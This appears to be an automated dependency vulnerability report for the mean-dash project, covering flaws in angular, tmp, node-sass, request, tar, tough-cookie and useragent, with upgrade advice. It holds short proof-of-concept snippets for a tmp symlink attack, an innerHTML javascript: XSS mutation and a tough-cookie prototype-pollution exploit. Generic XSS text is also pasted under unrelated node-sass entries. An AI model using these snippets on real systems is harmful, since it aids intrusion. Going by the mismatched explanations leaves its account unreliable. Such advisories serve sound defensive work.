Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
There is no fixed version for useragent.
References
medium severity
- Vulnerable module: tmp
- Introduced through: karma@0.13.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › useragent@2.3.0 › tmp@0.0.33
Overview
Affected versions of this package are vulnerable to Symlink Attack via the dir parameter. An attacker can cause files or directories to be written to arbitrary locations by supplying a crafted symbolic link that resolves outside the intended temporary directory.
PoC
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}
Remediation
Upgrade tmp to version 0.2.4 or higher.
References
medium severity
- Vulnerable module: angular
- Introduced through: angular@1.5.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › angular@1.5.0Remediation: Upgrade to angular@1.5.9.
Overview
angular is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Content Security Policy (CSP) Bypass. Extension URIs (resource://...) bypass Content-Security-Policy in Chrome and Firefox and can always be loaded. Now if a site already has a XSS bug, and uses CSP to protect itself, but the user has an extension installed that uses Angular, an attacker can load Angular from the extension, and Angular's auto-bootstrapping can be used to bypass the victim site's CSP protection.
Remediation
Upgrade angular to version 1.5.9 or higher.
References
medium severity
- Vulnerable module: angular
- Introduced through: angular@1.5.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › angular@1.5.0Remediation: Upgrade to angular@1.6.0.
Overview
angular is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS). The $http service allows JSONP requests with untrusted URLs, which could be exploited by an attacker.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade angular to version 1.6.0-rc.0 or higher.
References
medium severity
- Vulnerable module: angular
- Introduced through: angular@1.5.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › angular@1.5.0Remediation: Upgrade to angular@1.6.5.
Overview
angular is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via document.implementation.createHTMLDocument() function. In Firefox and Safari an attacker can use an malicious inert document created using the vulnerable function.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade angular to version 1.6.5 or higher.
References
medium severity
- Vulnerable module: angular
- Introduced through: angular@1.5.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › angular@1.5.0Remediation: Upgrade to angular@1.6.7.
Overview
angular is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS).
Browsers mutate attributes values such as  javascript:alert(1) when they are written to the DOM via innerHTML in various vendor specific ways.
In Chrome (<62), this mutation removed the preceding "whitespace" resulting in a value that could end up being executed as JavaScript.
Here is an example of what could happen:
// Code goes here
var h1 = document.querySelector('h1');
h1.innerHTML = '<a href=" javascript:alert(1)">CLICKME</a>';
var innerHTML = h1.innerHTML;
console.log(innerHTML);
h1.innerHTML = innerHTML;
The sanitizer contains a bit of code that triggers this mutation on an inert piece of DOM, before angular sanitizes it.
Note: Chrome 62 does not appear to mutate this particular string any more, instead it just leaves the "whitespace" in place. This probably means that Chrome 62 is no longer vulnerable to this specific attack vector.
Details
Remediation
Upgrade angular to version 1.6.7 or higher.
References
medium severity
- Vulnerable module: angular
- Introduced through: angular@1.5.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › angular@1.5.0Remediation: Upgrade to angular@1.6.9.
Overview
angular is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) through SVG files if enableSvg is set.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade angular to version 1.6.9 or higher.
References
medium severity
- Vulnerable module: angular
- Introduced through: angular@1.5.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › angular@1.5.0Remediation: Upgrade to angular@1.6.1.
Overview
angular is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to JSONP Callback Attack. JSONP (JSON with padding) is a method used to request data from a server residing in a different domain than the client.
Any url could perform JSONP requests, allowing full access to the browser and the JavaScript context. This can lead to Cross-site Scripting.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade angular to version 1.6.1 or higher.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Denial of Service (DoS). Uncontrolled recursion is possible in Sass::Complex_Selector::perform in ast.hpp and Sass::Inspect::operator in inspect.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
There is no fixed version for node-sass.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Out-of-Bounds. A heap-based buffer over-read exists in Sass::Prelexer::parenthese_scope in prelexer.hpp. node-sass is affected by this vulnerability due to its bundled usage of libsass.
Remediation
There is no fixed version for node-sass.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Out-of-Bounds via Sass::Prelexer::alternatives in prelexer.hpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
There is no fixed version for node-sass.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Out-of-bounds Read. The function handle_error in sass_context.cpp allows attackers to cause a denial-of-service resulting from a heap-based buffer over-read via a crafted sass file. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
There is no fixed version for node-sass.
References
medium severity
- Vulnerable module: request
- Introduced through: coveralls@2.13.3, request@2.88.2 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › coveralls@2.13.3 › request@2.79.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › request@2.88.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › request@2.88.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2
Overview
request is a simplified http request client.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).
NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.
Remediation
A fix was pushed into the master branch but not yet published.
References
medium severity
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2Remediation: Upgrade to node-sass@5.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the lack of folders count validation during the folder creation process. An attacker who generates a large number of sub-folders can consume memory on the system running the software and even crash the client within few seconds of running it using a path with too many sub-folders inside.
Remediation
Upgrade tar to version 6.2.1 or higher.
References
medium severity
- Vulnerable module: tough-cookie
- Introduced through: coveralls@2.13.3, request@2.88.2 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › coveralls@2.13.3 › request@2.79.0 › tough-cookie@2.3.4
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › tough-cookie@2.5.0
Overview
tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.
Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.
PoC
// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
"Slonser=polluted; Domain=__proto__; Path=/notauth",
"https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
"Auth=Lol; Domain=google.com; Path=/notauth",
"https://google.com/"
);
//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
